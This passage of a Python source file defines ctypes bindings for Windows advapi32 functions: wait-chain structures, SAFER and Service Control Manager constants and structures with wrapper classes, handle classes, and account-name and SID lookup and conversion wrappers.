543 _fields_ = [
544 ("ProcessId", DWORD),
545 ("ThreadId", DWORD),
546 ("WaitTime", DWORD),
547 ("ContextSwitches", DWORD),
548 ]
549
550 class _WAITCHAIN_NODE_INFO_UNION(Union):
551 _fields_ = [
552 ("LockObject", _WAITCHAIN_NODE_INFO_STRUCT_1),
553 ("ThreadObject", _WAITCHAIN_NODE_INFO_STRUCT_2),
554 ]
555
556 class WAITCHAIN_NODE_INFO(Structure):
557 _fields_ = [
558 ("ObjectType", WCT_OBJECT_TYPE),
559 ("ObjectStatus", WCT_OBJECT_STATUS),
560 ("u", _WAITCHAIN_NODE_INFO_UNION),
561 ]
562
563 PWAITCHAIN_NODE_INFO = POINTER(WAITCHAIN_NODE_INFO)
564
565 class WaitChainNodeInfo (object):
566 """
567 Represents a node in the wait chain.
568
569 It's a wrapper on the L{WAITCHAIN_NODE_INFO} structure.
570
571 The following members are defined only
572 if the node is of L{WctThreadType} type:
573 - C{ProcessId}
574 - C{ThreadId}
575 - C{WaitTime}
576 - C{ContextSwitches}
577
578 @see: L{GetThreadWaitChain}
579
580 @type ObjectName: unicode
581 @ivar ObjectName: Object name. May be an empty string.
582
583 @type ObjectType: int
584 @ivar ObjectType: Object type.
585 Should be one of the following values:
586 - L{WctCriticalSectionType}
587 - L{WctSendMessageType}
588 - L{WctMutexType}
589 - L{WctAlpcType}
590 - L{WctComType}
591 - L{WctThreadWaitType}
592 - L{WctProcessWaitType}
593 - L{WctThreadType}
594 - L{WctComActivationType}
595 - L{WctUnknownType}
596
597 @type ObjectStatus: int
598 @ivar ObjectStatus: Wait status.
599 Should be one of the following values:
600 - L{WctStatusNoAccess} I{(ACCESS_DENIED for this object)}
601 - L{WctStatusRunning} I{(Thread status)}
602 - L{WctStatusBlocked} I{(Thread status)}
603 - L{WctStatusPidOnly} I{(Thread status)}
604 - L{WctStatusPidOnlyRpcss} I{(Thread status)}
605 - L{WctStatusOwned} I{(Dispatcher object status)}
606 - L{WctStatusNotOwned} I{(Dispatcher object status)}
607 - L{WctStatusAbandoned} I{(Dispatcher object status)}
608 - L{WctStatusUnknown} I{(All objects)}
609 - L{WctStatusError} I{(All objects)}
610
611 @type ProcessId: int
612 @ivar ProcessId: Process global ID.
613
614 @type ThreadId: int
615 @ivar ThreadId: Thread global ID.
616
617 @type WaitTime: int
618 @ivar WaitTime: Wait time.
619
620 @type ContextSwitches: int
621 @ivar ContextSwitches: Number of context switches.
622 """
623
624 #@type Timeout: int
625 #@ivar Timeout: Currently not documented in MSDN.
626 #
627 #@type Alertable: bool
628 #@ivar Alertable: Currently not documented in MSDN.
629
630 # TODO: __repr__
631
632 def __init__(self, aStructure):
633 self.ObjectType = aStructure.ObjectType
634 self.ObjectStatus = aStructure.ObjectStatus
635 if self.ObjectType == WctThreadType:
636 self.ProcessId = aStructure.u.ThreadObject.ProcessId
637 self.ThreadId = aStructure.u.ThreadObject.ThreadId
638 self.WaitTime = aStructure.u.ThreadObject.WaitTime
639 self.ContextSwitches = aStructure.u.ThreadObject.ContextSwitches
640 self.ObjectName = u''
641 else:
642 self.ObjectName = aStructure.u.LockObject.ObjectName.value
643 #self.Timeout = aStructure.u.LockObject.Timeout
644 #self.Alertable = bool(aStructure.u.LockObject.Alertable)
645
646 class ThreadWaitChainSessionHANDLE (HANDLE):
647 """
648 Thread wait chain session handle.
649
650 Returned by L{OpenThreadWaitChainSession}.
651
652 @see: L{HANDLE}
653 """
654
655 def __init__(self, aHANDLE = None):
656 """
657 @type aHANDLE: int
658 @param aHANDLE: Win32 handle value.
659 """
660 super(ThreadWaitChainSessionHANDLE, self).__init__(aHANDLE,
661 bOwnership = True)
662
663 def _close(self):
664 if self.value is None:
665 raise ValueError("HANDLE was already closed!")
666 CloseThreadWaitChainSession(self.value)
667
668 def dup(self):
669 raise NotImplementedError()
670
671 def wait(self, dwMilliseconds = None):
672 raise NotImplementedError()
673
674 @property
675 def inherit(self):
676 return False
677
678 @property
679 def protectFromClose(self):
680 return False
681
682 #--- Privilege dropping -------------------------------------------------------
683
684 SAFER_LEVEL_HANDLE = HANDLE
685
686 SAFER_SCOPEID_MACHINE = 1
687 SAFER_SCOPEID_USER = 2
688
689 SAFER_LEVEL_OPEN = 1
690
691 SAFER_LEVELID_DISALLOWED = 0x00000
692 SAFER_LEVELID_UNTRUSTED = 0x01000
693 SAFER_LEVELID_CONSTRAINED = 0x10000
694 SAFER_LEVELID_NORMALUSER = 0x20000
695 SAFER_LEVELID_FULLYTRUSTED = 0x40000
696
697 SAFER_POLICY_INFO_CLASS = DWORD
698 SaferPolicyLevelList = 1
699 SaferPolicyEnableTransparentEnforcement = 2
700 SaferPolicyDefaultLevel = 3
701 SaferPolicyEvaluateUserScope = 4
702 SaferPolicyScopeFlags = 5
703
704 SAFER_TOKEN_NULL_IF_EQUAL = 1
705 SAFER_TOKEN_COMPARE_ONLY = 2
706 SAFER_TOKEN_MAKE_INERT = 4
707 SAFER_TOKEN_WANT_FLAGS = 8
708 SAFER_TOKEN_MASK = 15
709
710 #--- Service Control Manager types, constants and structures ------------------
711
712 SC_HANDLE = HANDLE
713
714 SERVICES_ACTIVE_DATABASEW = u"ServicesActive"
715 SERVICES_FAILED_DATABASEW = u"ServicesFailed"
716
717 SERVICES_ACTIVE_DATABASEA = "ServicesActive"
718 SERVICES_FAILED_DATABASEA = "ServicesFailed"
719
720 SC_GROUP_IDENTIFIERW = u'+'
721 SC_GROUP_IDENTIFIERA = '+'
722
723 SERVICE_NO_CHANGE = 0xffffffff
724
725 # enum SC_STATUS_TYPE
726 SC_STATUS_TYPE = ctypes.c_int
727 SC_STATUS_PROCESS_INFO = 0
728
729 # enum SC_ENUM_TYPE
730 SC_ENUM_TYPE = ctypes.c_int
731 SC_ENUM_PROCESS_INFO = 0
732
733 # Access rights
734 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
735
736 SERVICE_ALL_ACCESS = 0xF01FF
737 SERVICE_QUERY_CONFIG = 0x0001
738 SERVICE_CHANGE_CONFIG = 0x0002
739 SERVICE_QUERY_STATUS = 0x0004
740 SERVICE_ENUMERATE_DEPENDENTS = 0x0008
741 SERVICE_START = 0x0010
742 SERVICE_STOP = 0x0020
743 SERVICE_PAUSE_CONTINUE = 0x0040
744 SERVICE_INTERROGATE = 0x0080
745 SERVICE_USER_DEFINED_CONTROL = 0x0100
746
747 SC_MANAGER_ALL_ACCESS = 0xF003F
748 SC_MANAGER_CONNECT = 0x0001
749 SC_MANAGER_CREATE_SERVICE = 0x0002
750 SC_MANAGER_ENUMERATE_SERVICE = 0x0004
751 SC_MANAGER_LOCK = 0x0008
752 SC_MANAGER_QUERY_LOCK_STATUS = 0x0010
753 SC_MANAGER_MODIFY_BOOT_CONFIG = 0x0020
754
755 # CreateService() service start type
756 SERVICE_BOOT_START = 0x00000000
757 SERVICE_SYSTEM_START = 0x00000001
758 SERVICE_AUTO_START = 0x00000002
759 SERVICE_DEMAND_START = 0x00000003
760 SERVICE_DISABLED = 0x00000004
761
762 # CreateService() error control flags
763 SERVICE_ERROR_IGNORE = 0x00000000
764 SERVICE_ERROR_NORMAL = 0x00000001
765 SERVICE_ERROR_SEVERE = 0x00000002
766 SERVICE_ERROR_CRITICAL = 0x00000003
767
768 # EnumServicesStatusEx() service state filters
769 SERVICE_ACTIVE = 1
770 SERVICE_INACTIVE = 2
771 SERVICE_STATE_ALL = 3
772
773 # SERVICE_STATUS_PROCESS.dwServiceType
774 SERVICE_KERNEL_DRIVER = 0x00000001
775 SERVICE_FILE_SYSTEM_DRIVER = 0x00000002
776 SERVICE_ADAPTER = 0x00000004
777 SERVICE_RECOGNIZER_DRIVER = 0x00000008
778 SERVICE_WIN32_OWN_PROCESS = 0x00000010
779 SERVICE_WIN32_SHARE_PROCESS = 0x00000020
780 SERVICE_INTERACTIVE_PROCESS = 0x00000100
781
782 # EnumServicesStatusEx() service type filters (in addition to actual types)
783 SERVICE_DRIVER = 0x0000000B # SERVICE_KERNEL_DRIVER and SERVICE_FILE_SYSTEM_DRIVER
784 SERVICE_WIN32 = 0x00000030 # SERVICE_WIN32_OWN_PROCESS and SERVICE_WIN32_SHARE_PROCESS
785
786 # SERVICE_STATUS_PROCESS.dwCurrentState
787 SERVICE_STOPPED = 0x00000001
788 SERVICE_START_PENDING = 0x00000002
789 SERVICE_STOP_PENDING = 0x00000003
790 SERVICE_RUNNING = 0x00000004
791 SERVICE_CONTINUE_PENDING = 0x00000005
792 SERVICE_PAUSE_PENDING = 0x00000006
793 SERVICE_PAUSED = 0x00000007
794
795 # SERVICE_STATUS_PROCESS.dwControlsAccepted
796 SERVICE_ACCEPT_STOP = 0x00000001
797 SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002
798 SERVICE_ACCEPT_SHUTDOWN = 0x00000004
799 SERVICE_ACCEPT_PARAMCHANGE = 0x00000008
800 SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010
801 SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020
802 SERVICE_ACCEPT_POWEREVENT = 0x00000040
803 SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080
804 SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100
805
806 # SERVICE_STATUS_PROCESS.dwServiceFlags
807 SERVICE_RUNS_IN_SYSTEM_PROCESS = 0x00000001
808
809 # Service control flags
810 SERVICE_CONTROL_STOP = 0x00000001
811 SERVICE_CONTROL_PAUSE = 0x00000002
812 SERVICE_CONTROL_CONTINUE = 0x00000003
813 SERVICE_CONTROL_INTERROGATE = 0x00000004
814 SERVICE_CONTROL_SHUTDOWN = 0x00000005
815 SERVICE_CONTROL_PARAMCHANGE = 0x00000006
816 SERVICE_CONTROL_NETBINDADD = 0x00000007
817 SERVICE_CONTROL_NETBINDREMOVE = 0x00000008
818 SERVICE_CONTROL_NETBINDENABLE = 0x00000009
819 SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A
820 SERVICE_CONTROL_DEVICEEVENT = 0x0000000B
821 SERVICE_CONTROL_HARDWAREPROFILECHANGE = 0x0000000C
822 SERVICE_CONTROL_POWEREVENT = 0x0000000D
823 SERVICE_CONTROL_SESSIONCHANGE = 0x0000000E
824
825 # Service control accepted bitmasks
826 SERVICE_ACCEPT_STOP = 0x00000001
827 SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002
828 SERVICE_ACCEPT_SHUTDOWN = 0x00000004
829 SERVICE_ACCEPT_PARAMCHANGE = 0x00000008
830 SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010
831 SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020
832 SERVICE_ACCEPT_POWEREVENT = 0x00000040
833 SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080
834 SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100
835 SERVICE_ACCEPT_TIMECHANGE = 0x00000200
836 SERVICE_ACCEPT_TRIGGEREVENT = 0x00000400
837 SERVICE_ACCEPT_USERMODEREBOOT = 0x00000800
838
839 # enum SC_ACTION_TYPE
840 SC_ACTION_NONE = 0
841 SC_ACTION_RESTART = 1
842 SC_ACTION_REBOOT = 2
843 SC_ACTION_RUN_COMMAND = 3
844
845 # QueryServiceConfig2
846 SERVICE_CONFIG_DESCRIPTION = 1
847 SERVICE_CONFIG_FAILURE_ACTIONS = 2
848
849 # typedef struct _SERVICE_STATUS {
850 # DWORD dwServiceType;
851 # DWORD dwCurrentState;
852 # DWORD dwControlsAccepted;
853 # DWORD dwWin32ExitCode;
854 # DWORD dwServiceSpecificExitCode;
855 # DWORD dwCheckPoint;
856 # DWORD dwWaitHint;
857 # } SERVICE_STATUS, *LPSERVICE_STATUS;
858 class SERVICE_STATUS(Structure):
859 _fields_ = [
860 ("dwServiceType", DWORD),
861 ("dwCurrentState", DWORD),
862 ("dwControlsAccepted", DWORD),
863 ("dwWin32ExitCode", DWORD),
864 ("dwServiceSpecificExitCode", DWORD),
865 ("dwCheckPoint", DWORD),
866 ("dwWaitHint", DWORD),
867 ]
868 LPSERVICE_STATUS = POINTER(SERVICE_STATUS)
869
870 # typedef struct _SERVICE_STATUS_PROCESS {
871 # DWORD dwServiceType;
872 # DWORD dwCurrentState;
873 # DWORD dwControlsAccepted;
874 # DWORD dwWin32ExitCode;
875 # DWORD dwServiceSpecificExitCode;
876 # DWORD dwCheckPoint;
877 # DWORD dwWaitHint;
878 # DWORD dwProcessId;
879 # DWORD dwServiceFlags;
880 # } SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS;
881 class SERVICE_STATUS_PROCESS(Structure):
882 _fields_ = SERVICE_STATUS._fields_ + [
883 ("dwProcessId", DWORD),
884 ("dwServiceFlags", DWORD),
885 ]
886 LPSERVICE_STATUS_PROCESS = POINTER(SERVICE_STATUS_PROCESS)
887
888 # typedef struct _ENUM_SERVICE_STATUS {
889 # LPTSTR lpServiceName;
890 # LPTSTR lpDisplayName;
891 # SERVICE_STATUS ServiceStatus;
892 # } ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;
893 class ENUM_SERVICE_STATUSA(Structure):
894 _fields_ = [
895 ("lpServiceName", LPSTR),
896 ("lpDisplayName", LPSTR),
897 ("ServiceStatus", SERVICE_STATUS),
898 ]
899 class ENUM_SERVICE_STATUSW(Structure):
900 _fields_ = [
901 ("lpServiceName", LPWSTR),
902 ("lpDisplayName", LPWSTR),
903 ("ServiceStatus", SERVICE_STATUS),
904 ]
905 LPENUM_SERVICE_STATUSA = POINTER(ENUM_SERVICE_STATUSA)
906 LPENUM_SERVICE_STATUSW = POINTER(ENUM_SERVICE_STATUSW)
907
908 # typedef struct _ENUM_SERVICE_STATUS_PROCESS {
909 # LPTSTR lpServiceName;
910 # LPTSTR lpDisplayName;
911 # SERVICE_STATUS_PROCESS ServiceStatusProcess;
912 # } ENUM_SERVICE_STATUS_PROCESS, *LPENUM_SERVICE_STATUS_PROCESS;
913 class ENUM_SERVICE_STATUS_PROCESSA(Structure):
914 _fields_ = [
915 ("lpServiceName", LPSTR),
916 ("lpDisplayName", LPSTR),
917 ("ServiceStatusProcess", SERVICE_STATUS_PROCESS),
918 ]
919 class ENUM_SERVICE_STATUS_PROCESSW(Structure):
920 _fields_ = [
921 ("lpServiceName", LPWSTR),
922 ("lpDisplayName", LPWSTR),
923 ("ServiceStatusProcess", SERVICE_STATUS_PROCESS),
924 ]
925 LPENUM_SERVICE_STATUS_PROCESSA = POINTER(ENUM_SERVICE_STATUS_PROCESSA)
926 LPENUM_SERVICE_STATUS_PROCESSW = POINTER(ENUM_SERVICE_STATUS_PROCESSW)
927
928 class ServiceStatus(object):
929 """
930 Wrapper for the L{SERVICE_STATUS} structure.
931 """
932
933 def __init__(self, raw):
934 """
935 @type raw: L{SERVICE_STATUS}
936 @param raw: Raw structure for this service status data.
937 """
938 self.ServiceType = raw.dwServiceType
939 self.CurrentState = raw.dwCurrentState
940 self.ControlsAccepted = raw.dwControlsAccepted
941 self.Win32ExitCode = raw.dwWin32ExitCode
942 self.ServiceSpecificExitCode = raw.dwServiceSpecificExitCode
943 self.CheckPoint = raw.dwCheckPoint
944 self.WaitHint = raw.dwWaitHint
945
946 class ServiceStatusProcess(object):
947 """
948 Wrapper for the L{SERVICE_STATUS_PROCESS} structure.
949 """
950
951 def __init__(self, raw):
952 """
953 @type raw: L{SERVICE_STATUS_PROCESS}
954 @param raw: Raw structure for this service status data.
955 """
956 self.ServiceType = raw.dwServiceType
957 self.CurrentState = raw.dwCurrentState
958 self.ControlsAccepted = raw.dwControlsAccepted
959 self.Win32ExitCode = raw.dwWin32ExitCode
960 self.ServiceSpecificExitCode = raw.dwServiceSpecificExitCode
961 self.CheckPoint = raw.dwCheckPoint
962 self.WaitHint = raw.dwWaitHint
963 self.ProcessId = raw.dwProcessId
964 self.ServiceFlags = raw.dwServiceFlags
965
966 class ServiceStatusEntry(object):
967 """
968 Service status entry returned by L{EnumServicesStatus}.
969 """
970
971 def __init__(self, raw):
972 """
973 @type raw: L{ENUM_SERVICE_STATUSA} or L{ENUM_SERVICE_STATUSW}
974 @param raw: Raw structure for this service status entry.
975 """
976 self.ServiceName = raw.lpServiceName
977 self.DisplayName = raw.lpDisplayName
978 self.ServiceType = raw.ServiceStatus.dwServiceType
979 self.CurrentState = raw.ServiceStatus.dwCurrentState
980 self.ControlsAccepted = raw.ServiceStatus.dwControlsAccepted
981 self.Win32ExitCode = raw.ServiceStatus.dwWin32ExitCode
982 self.ServiceSpecificExitCode = raw.ServiceStatus.dwServiceSpecificExitCode
983 self.CheckPoint = raw.ServiceStatus.dwCheckPoint
984 self.WaitHint = raw.ServiceStatus.dwWaitHint
985
986 def __str__(self):
987 output = []
988 if self.ServiceType & SERVICE_INTERACTIVE_PROCESS:
989 output.append("Interactive service")
990 else:
991 output.append("Service")
992 if self.DisplayName:
993 output.append("\"%s\" (%s)" % (self.DisplayName, self.ServiceName))
994 else:
995 output.append("\"%s\"" % self.ServiceName)
996 if self.CurrentState == SERVICE_CONTINUE_PENDING:
997 output.append("is about to continue.")
998 elif self.CurrentState == SERVICE_PAUSE_PENDING:
999 output.append("is pausing.")
1000 elif self.CurrentState == SERVICE_PAUSED:
1001 output.append("is paused.")
1002 elif self.CurrentState == SERVICE_RUNNING:
1003 output.append("is running.")
1004 elif self.CurrentState == SERVICE_START_PENDING:
1005 output.append("is starting.")
1006 elif self.CurrentState == SERVICE_STOP_PENDING:
1007 output.append("is stopping.")
1008 elif self.CurrentState == SERVICE_STOPPED:
1009 output.append("is stopped.")
1010 return " ".join(output)
1011
1012 class ServiceStatusProcessEntry(object):
1013 """
1014 Service status entry returned by L{EnumServicesStatusEx}.
1015 """
1016
1017 def __init__(self, raw):
1018 """
1019 @type raw: L{ENUM_SERVICE_STATUS_PROCESSA} or L{ENUM_SERVICE_STATUS_PROCESSW}
1020 @param raw: Raw structure for this service status entry.
1021 """
1022 self.ServiceName = raw.lpServiceName
1023 self.DisplayName = raw.lpDisplayName
1024 self.ServiceType = raw.ServiceStatusProcess.dwServiceType
1025 self.CurrentState = raw.ServiceStatusProcess.dwCurrentState
1026 self.ControlsAccepted = raw.ServiceStatusProcess.dwControlsAccepted
1027 self.Win32ExitCode = raw.ServiceStatusProcess.dwWin32ExitCode
1028 self.ServiceSpecificExitCode = raw.ServiceStatusProcess.dwServiceSpecificExitCode
1029 self.CheckPoint = raw.ServiceStatusProcess.dwCheckPoint
1030 self.WaitHint = raw.ServiceStatusProcess.dwWaitHint
1031 self.ProcessId = raw.ServiceStatusProcess.dwProcessId
1032 self.ServiceFlags = raw.ServiceStatusProcess.dwServiceFlags
1033
1034 def __str__(self):
1035 output = []
1036 if self.ServiceType & SERVICE_INTERACTIVE_PROCESS:
1037 output.append("Interactive service ")
1038 else:
1039 output.append("Service ")
1040 if self.DisplayName:
1041 output.append("\"%s\" (%s)" % (self.DisplayName, self.ServiceName))
1042 else:
1043 output.append("\"%s\"" % self.ServiceName)
1044 if self.CurrentState == SERVICE_CONTINUE_PENDING:
1045 output.append(" is about to continue")
1046 elif self.CurrentState == SERVICE_PAUSE_PENDING:
1047 output.append(" is pausing")
1048 elif self.CurrentState == SERVICE_PAUSED:
1049 output.append(" is paused")
1050 elif self.CurrentState == SERVICE_RUNNING:
1051 output.append(" is running")
1052 elif self.CurrentState == SERVICE_START_PENDING:
1053 output.append(" is starting")
1054 elif self.CurrentState == SERVICE_STOP_PENDING:
1055 output.append(" is stopping")
1056 elif self.CurrentState == SERVICE_STOPPED:
1057 output.append(" is stopped")
1058 if self.ProcessId:
1059 output.append(" at process %d" % self.ProcessId)
1060 output.append(".")
1061 return "".join(output)
1062
1063 #--- HANDLE wrappers ----------------------------------------------------------
1064
1065 # XXX maybe add functions related to the tokens here?
1066 class TokenHandle (HANDLE):
1067 """
1068 Access token handle.
1069
1070 @see: L{HANDLE}
1071 """
1072 pass
1073
1074 class RegistryKeyHandle (UserModeHandle):
1075 """
1076 Registry key handle.
1077 """
1078
1079 _TYPE = HKEY
1080
1081 def _close(self):
1082 RegCloseKey(self.value)
1083
1084 class SaferLevelHandle (UserModeHandle):
1085 """
1086 Safer level handle.
1087
1088 @see: U{http://msdn.microsoft.com/en-us/library/ms722425(VS.85).aspx}
1089 """
1090
1091 _TYPE = SAFER_LEVEL_HANDLE
1092
1093 def _close(self):
1094 SaferCloseLevel(self.value)
1095
1096 class ServiceHandle (UserModeHandle):
1097 """
1098 Service handle.
1099
1100 @see: U{http://msdn.microsoft.com/en-us/library/windows/desktop/ms684330(v=vs.85).aspx}
1101 """
1102
1103 _TYPE = SC_HANDLE
1104
1105 def _close(self):
1106 CloseServiceHANDLE(self.value)
1107
1108 class ServiceControlManagerHandle (UserModeHandle):
1109 """
1110 Service Control Manager (SCM) handle.
1111
1112 @see: U{http://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx}
1113 """
1114
1115 _TYPE = SC_HANDLE
1116
1117 def _close(self):
1118 CloseServiceHANDLE(self.value)
1119
1120 #--- advapi32.dll -------------------------------------------------------------
1121
1122 # BOOL WINAPI GetUserName(
1123 # __out LPTSTR lpBuffer,
1124 # __inout LPDWORD lpnSize
1125 # );
1126 def GetUserNameA():
1127 _GetUserNameA = windll.advapi32.GetUserNameA
1128 _GetUserNameA.argtypes = [LPSTR, LPDWORD]
1129 _GetUserNameA.restype = bool
1130
1131 nSize = DWORD(0)
1132 _GetUserNameA(None, byref(nSize))
1133 error = GetLastError()
1134 if error != ERROR_INSUFFICIENT_BUFFER:
1135 raise ctypes.WinError(error)
1136 lpBuffer = ctypes.create_string_buffer('', nSize.value + 1)
1137 success = _GetUserNameA(lpBuffer, byref(nSize))
1138 if not success:
1139 raise ctypes.WinError()
1140 return lpBuffer.value
1141
1142 def GetUserNameW():
1143 _GetUserNameW = windll.advapi32.GetUserNameW
1144 _GetUserNameW.argtypes = [LPWSTR, LPDWORD]
1145 _GetUserNameW.restype = bool
1146
1147 nSize = DWORD(0)
1148 _GetUserNameW(None, byref(nSize))
1149 error = GetLastError()
1150 if error != ERROR_INSUFFICIENT_BUFFER:
1151 raise ctypes.WinError(error)
1152 lpBuffer = ctypes.create_unicode_buffer(u'', nSize.value + 1)
1153 success = _GetUserNameW(lpBuffer, byref(nSize))
1154 if not success:
1155 raise ctypes.WinError()
1156 return lpBuffer.value
1157
1158 GetUserName = DefaultStringType(GetUserNameA, GetUserNameW)
1159
1160 # BOOL WINAPI LookupAccountName(
1161 # __in_opt LPCTSTR lpSystemName,
1162 # __in LPCTSTR lpAccountName,
1163 # __out_opt PSID Sid,
1164 # __inout LPDWORD cbSid,
1165 # __out_opt LPTSTR ReferencedDomainName,
1166 # __inout LPDWORD cchReferencedDomainName,
1167 # __out PSID_NAME_USE peUse
1168 # );
1169 def LookupAccountNameA(lpSystemName, lpAccountName):
1170 _LookupAccountNameA = windll.advapi32.LookupAccountNameA
1171 _LookupAccountNameA.argtypes = [LPSTR, LPSTR, PSID, LPDWORD, LPSTR, LPDWORD, LPDWORD]
1172 _LookupAccountNameA.restype = BOOL
1173
1174 cbSid = DWORD(0)
1175 cchReferencedDomainName = DWORD(0)
1176 peUse = DWORD(0)
1177 _LookupAccountNameA(lpSystemName, lpAccountName, None, byref(cbSid), None, byref(cchReferencedDomainName), byref(peUse))
1178 error = GetLastError()
1179 if error != ERROR_INSUFFICIENT_BUFFER:
1180 raise(ctypes.WinError(error))
1181 sid = ctypes.create_string_buffer('', cbSid.value)
1182 psid = ctypes.cast(ctypes.pointer(sid), PSID)
1183 lpReferencedDomainName = ctypes.create_string_buffer('', cchReferencedDomainName.value + 1)
1184 success = _LookupAccountNameA(lpSystemName, lpAccountName, psid, byref(cbSid), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse))
1185 if not success:
1186 raise ctypes.WinError()
1187 return psid, lpReferencedDomainName.value, peUse.value
1188
1189 def LookupAccountNameW(lpSystemName, lpAccountName):
1190 _LookupAccountNameW = windll.advapi32.LookupAccountNameW
1191 _LookupAccountNameW.argtypes = [LPWSTR, LPWSTR, PSID, LPDWORD, LPWSTR, LPDWORD, LPDWORD]
1192 _LookupAccountNameW.restype = BOOL
1193
1194 cbSid = DWORD(0)
1195 cchReferencedDomainName = DWORD(0)
1196 peUse = DWORD(0)
1197 _LookupAccountNameW(lpSystemName, lpAccountName, None, byref(cbSid), None, byref(cchReferencedDomainName), byref(peUse))
1198 error = GetLastError()
1199 if error != ERROR_INSUFFICIENT_BUFFER:
1200 raise(ctypes.WinError(error))
1201 sid = ctypes.create_string_buffer('', cbSid.value)
1202 psid = ctypes.cast(ctypes.pointer(sid), PSID)
1203 lpReferencedDomainName = ctypes.create_unicode_buffer(u'', cchReferencedDomainName.value + 1)
1204 success = _LookupAccountNameW(lpSystemName, lpAccountName, psid, byref(cbSid), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse))
1205 if not success:
1206 raise ctypes.WinError()
1207 return psid, lpReferencedDomainName.value, peUse.value
1208
1209 LookupAccountName = GuessStringType(LookupAccountNameA, LookupAccountNameW)
1210
1211 # BOOL WINAPI LookupAccountSid(
1212 # __in_opt LPCTSTR lpSystemName,
1213 # __in PSID lpSid,
1214 # __out_opt LPTSTR lpName,
1215 # __inout LPDWORD cchName,
1216 # __out_opt LPTSTR lpReferencedDomainName,
1217 # __inout LPDWORD cchReferencedDomainName,
1218 # __out PSID_NAME_USE peUse
1219 # );
1220 def LookupAccountSidA(lpSystemName, lpSid):
1221 _LookupAccountSidA = windll.advapi32.LookupAccountSidA
1222 _LookupAccountSidA.argtypes = [LPSTR, PSID, LPSTR, LPDWORD, LPSTR, LPDWORD, LPDWORD]
1223 _LookupAccountSidA.restype = bool
1224
1225 cchName = DWORD(0)
1226 cchReferencedDomainName = DWORD(0)
1227 peUse = DWORD(0)
1228 _LookupAccountSidA(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), byref(peUse))
1229 error = GetLastError()
1230 if error != ERROR_INSUFFICIENT_BUFFER:
1231 raise ctypes.WinError(error)
1232 lpName = ctypes.create_string_buffer('', cchName + 1)
1233 lpReferencedDomainName = ctypes.create_string_buffer('', cchReferencedDomainName + 1)
1234 success = _LookupAccountSidA(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse))
1235 if not success:
1236 raise ctypes.WinError()
1237 return lpName.value, lpReferencedDomainName.value, peUse.value
1238
1239 def LookupAccountSidW(lpSystemName, lpSid):
1240 _LookupAccountSidW = windll.advapi32.LookupAccountSidW
1241 _LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD]
1242 _LookupAccountSidW.restype = bool
1243
1244 cchName = DWORD(0)
1245 cchReferencedDomainName = DWORD(0)
1246 peUse = DWORD(0)
1247 _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), byref(peUse))
1248 error = GetLastError()
1249 if error != ERROR_INSUFFICIENT_BUFFER:
1250 raise ctypes.WinError(error)
1251 lpName = ctypes.create_unicode_buffer(u'', cchName.value + 1)
1252 lpReferencedDomainName = ctypes.create_unicode_buffer(u'', cchReferencedDomainName.value + 1)
1253 success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse))
1254 if not success:
1255 raise ctypes.WinError()
1256 return lpName.value, lpReferencedDomainName.value, peUse.value
1257
1258 LookupAccountSid = GuessStringType(LookupAccountSidA, LookupAccountSidW)
1259
1260 # BOOL ConvertSidToStringSid(
1261 # __in PSID Sid,
1262 # __out LPTSTR *StringSid
1263 # );
1264 def ConvertSidToStringSidA(Sid):
1265 _ConvertSidToStringSidA = windll.advapi32.ConvertSidToStringSidA
1266 _ConvertSidToStringSidA.argtypes = [PSID, POINTER(LPSTR)]
1267 _ConvertSidToStringSidA.restype = bool
1268 _ConvertSidToStringSidA.errcheck = RaiseIfZero
1269
1270 pStringSid = LPSTR()
1271 _ConvertSidToStringSidA(Sid, byref(pStringSid))
1272 try:
1273 StringSid = pStringSid.value
1274 finally:
1275 LocalFree(pStringSid)
1276 return StringSid.decode()
1277
1278 def ConvertSidToStringSidW(Sid):
1279 _ConvertSidToStringSidW = windll.advapi32.ConvertSidToStringSidW
1280 _ConvertSidToStringSidW.argtypes = [PSID, POINTER(LPWSTR)]
1281 _ConvertSidToStringSidW.restype = bool
1282 _ConvertSidToStringSidW.errcheck = RaiseIfZero
1283
1284 pStringSid = LPWSTR()
1285 _ConvertSidToStringSidW(Sid, byref(pStringSid))
1286 try:
1287 StringSid = pStringSid.value
1288 finally:
1289 LocalFree(pStringSid)
1290 return StringSid
1291
1292 ConvertSidToStringSid = DefaultStringType(ConvertSidToStringSidA, ConvertSidToStringSidW)
1293
1294 # BOOL WINAPI ConvertStringSidToSid(
1295 # __in LPCTSTR StringSid,
1296 # __out PSID *Sid
1297 # );
1298 def ConvertStringSidToSidA(StringSid):
1299 _ConvertStringSidToSidA = windll.advapi32.ConvertStringSidToSidA
1300 _ConvertStringSidToSidA.argtypes = [LPSTR, PVOID]
1301 _ConvertStringSidToSidA.restype = bool
1302 _ConvertStringSidToSidA.errcheck = RaiseIfZero
1303
1304 Sid = PVOID()
1305 _ConvertStringSidToSidA(StringSid, ctypes.pointer(Sid))
1306 return Sid.value
1307
1308 def ConvertStringSidToSidW(StringSid):
1309 _ConvertStringSidToSidW = windll.advapi32.ConvertStringSidToSidW
1310 _ConvertStringSidToSidW.argtypes = [LPWSTR, PVOID]
1311 _ConvertStringSidToSidW.restype = bool
1312 _ConvertStringSidToSidW.errcheck = RaiseIfZero
1313
